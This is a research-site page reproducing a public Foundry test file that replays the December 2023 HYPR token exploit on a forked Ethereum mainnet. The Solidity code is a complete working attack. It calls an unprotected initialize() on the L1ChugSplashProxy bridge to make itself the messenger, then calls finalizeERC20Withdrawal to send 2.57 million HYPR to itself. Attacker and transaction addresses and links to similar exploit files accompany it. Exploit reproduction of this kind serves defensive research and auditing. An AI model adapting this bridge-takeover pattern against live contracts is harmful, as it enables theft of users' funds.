Public reproduction file
src/test/2023-12/HYPR_exp.sol
Public reproduction file for dataset entry HYPR.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~200K USD$8// Attacker : https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e4205199// Attack Contract : https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb7710// Vulnerable Contract : https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f6513// @Analysis14// https://twitter.com/BlockSecTeam/status/173519781888358857415// https://twitter.com/MevRefund/status/173479108237694181017interface IL1ChugSplashProxy {18 function initialize(19 address _messenger20 ) external;22 function finalizeERC20Withdrawal(23 address _l1Token,24 address _l2Token,25 address _from,26 address _to,27 uint256 _amount,28 bytes memory _extraData29 ) external;30}32contract ContractTest is Test {33 IERC20 private constant HYPR = IERC20(0x31aDdA225642a8f4D7e90d4152BE6661ab22a5a2);34 IL1ChugSplashProxy private constant ChugSplash = IL1ChugSplashProxy(0x40C31236B228935b0329eFF066B1AD96e319595e);35 address private constant messageSender = 0x4200000000000000000000000000000000000010;36 address private constant l2Token = 0xD7a421A6786cF4951a8FaE10385680222D63f89a;38 function setUp() public {39 vm.createSelectFork("mainnet", 18_774_584);40 vm.label(address(HYPR), "HYPR");41 vm.label(address(ChugSplash), "ChugSplash");42 vm.label(messageSender, "messageSender");43 vm.label(l2Token, "l2Token");44 }46 function testExploit() public {47 emit log_named_decimal_uint(48 "Exploiter HYPR balance before attack", HYPR.balanceOf(address(this)), HYPR.decimals()49 );51 ChugSplash.initialize(address(this));52 ChugSplash.finalizeERC20Withdrawal(53 address(HYPR), l2Token, address(ChugSplash), address(this), 2_570_000 * 1e18, bytes("")54 );56 emit log_named_decimal_uint(57 "Exploiter HYPR balance after attack", HYPR.balanceOf(address(this)), HYPR.decimals()58 );59 }61 function xDomainMessageSender() external view returns (address) {62 return messageSender;63 }64}Analysis
Dataset entry
Public Foundry test for “HYPR” (2023-12-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3ea6ba6d3415e4dfd380516c799aafa94e420519
- Attack Contract
0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77
- Vulnerable Contract
0x40c31236b228935b0329eff066b1ad96e319595e
- Attack Tx
0x51ce3d9cfc85c1f6a532b908bb2debb16c7569eb8b76effe614016aac6635f65
- Explorer: https://etherscan.io/address/0x3ea6ba6d3415e4dfd380516c799aafa94e420519
- Explorer: https://etherscan.io/address/0xba6fa6e8500cd8eeda8ebb9dfbcc554ff4a3eb77
- Explorer: https://etherscan.io/address/0x40c31236b228935b0329eff066b1ad96e319595e
- Reference: https://twitter.com/BlockSecTeam/status/1735197818883588574
- Reference: https://twitter.com/MevRefund/status/1734791082376941810
File record
- Name
- HYPR
- Path
- src/test/2023-12/HYPR_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c135a1c49b0bc6ac9ce202809b2e790c4a87bfb7
- Language
- Solidity
- Size
- 65 lines
- Date
- 2023-12-13
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/HYPR_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c135a1c49b0bc6ac9ce202809b2e790c4a87bfb7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.